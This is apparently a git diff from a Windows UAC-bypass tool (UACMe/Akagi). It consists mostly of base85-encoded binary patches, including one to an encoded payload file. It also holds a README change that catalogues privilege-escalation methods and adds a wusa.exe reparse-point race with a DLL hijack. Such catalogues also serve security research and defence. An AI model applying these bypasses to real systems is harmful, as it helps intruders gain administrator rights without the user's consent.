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 F{~v-DS?T}) diff --git a/README.md b/README.md index de55f61..c654831 100644 --- a/README.md +++ b/README.md @@ -244,9 +244,9 @@ Keys (watch debug output with dbgview or similar for more info): * Method: Registry key manipulation * Target(s): \system32\sdctl.exe * Component(s): Attacker defined application - * Works from: Windows 10 (10240) - * Fixed in: unfixed :see_no_evil: - * How: - + * Works from: Windows 10 TH1 (10240) + * Fixed in: Windows 10 RS3 (16215) + * How: Shell API update 30. Author: Leo Davidson derivative, lhc645 * Type: Dll Hijack * Method: WOW64 logger @@ -260,7 +260,7 @@ Keys (watch debug output with dbgview or similar for more info): * Method: Registry key manipulation * Target(s): \system32\sdctl.exe * Component(s): Attacker defined application - * Works from: Windows 10 (10240) + * Works from: Windows 10 TH1 (10240) * Fixed in: unfixed :see_no_evil: * How: - 32. Author: xi-tauw @@ -276,7 +276,7 @@ Keys (watch debug output with dbgview or similar for more info): * Method: Registry key manipulation * Target(s): \system32\fodhelper.exe * Component(s): Attacker defined application - * Works from: Windows 10 (10240) + * Works from: Windows 10 TH1 (10240) * Fixed in: unfixed :see_no_evil: * How: - 34. Author: James Forshaw @@ -297,11 +297,19 @@ Keys (watch debug output with dbgview or similar for more info): * AlwaysNotify compatible, see note * Fixed in: unfixed :see_no_evil: * How: - +36. Author: Thomas Vanhoutte + * Type: Race condition + * Method: NTFS reparse point & Dll Hijack + * Target(s): wusa.exe + * Component(s): dcomcnfg.exe, mmc.exe, ole32.dll, MsCoree.dll + * Works from: Windows 7 (7600) + * Fixed in: unfixed :see_no_evil: + * How: - Note: * Method (6) unavailable in wow64 environment starting from Windows 8; * Method (11) implemented in x86-32 version; -* Method (13) (19) and above implemented only in x64 version; +* Method (13) (19) implemented only in x64 version; * Method (14) require process injection, wow64 unsupported, use x64 version of this tool; * Method (26) is still working, however it main advantage was UAC bypass on AlwaysNotify level. Since 15031 it is gone; * Method (30) require x64 because it abuses WOW64 subsystem feature; diff --git a/Source/Akagi/Resource.rc b/Source/Akagi/Resource.rc index 7275d075cd5e3e5f10df5834eea842f4b5e5d101..304d3925d10db6eded3028cfa00b5033c53b5e9d 100644 GIT binary patch delta 78 zcmZoLXfW8o#m8;Jpu=FuV9sE`U^ZElPZycL*_ZDz6Hq`8u3(~|?&b`^bBxG>n;nJs Gvj6}(XAcel delta 78 zcmZoLXfW8o#m8;Tpu=FuV9sE`U^-cpPZycL*_ZDz6Hq`8u3(~|?&b`^bBxG>n;nJs Gvj6}&Ee{3& diff --git a/Source/Akagi/bin/Akatsuki64.cd b/Source/Akagi/bin/Akatsuki64.cd index 0d12cbdf9c75353ec5c009355f8e0dfd3f6dc2ec..97a78a21309708637e75bbfc45c952c959cebee7 100644 GIT binary patch delta 2697 zcmV;43U>AT7M~XdVcLZYCXofF1s)2}GB}a36CzfpNVjXuxO(PHnK5F21P&A~OSE`b ztl79cSh8Tk3&j&Gk>(`Tb00{+j5>eCWdU)1BTw{ovBCepf7z zJ1L^J%Qj)q&R%7BKNV(}c$v 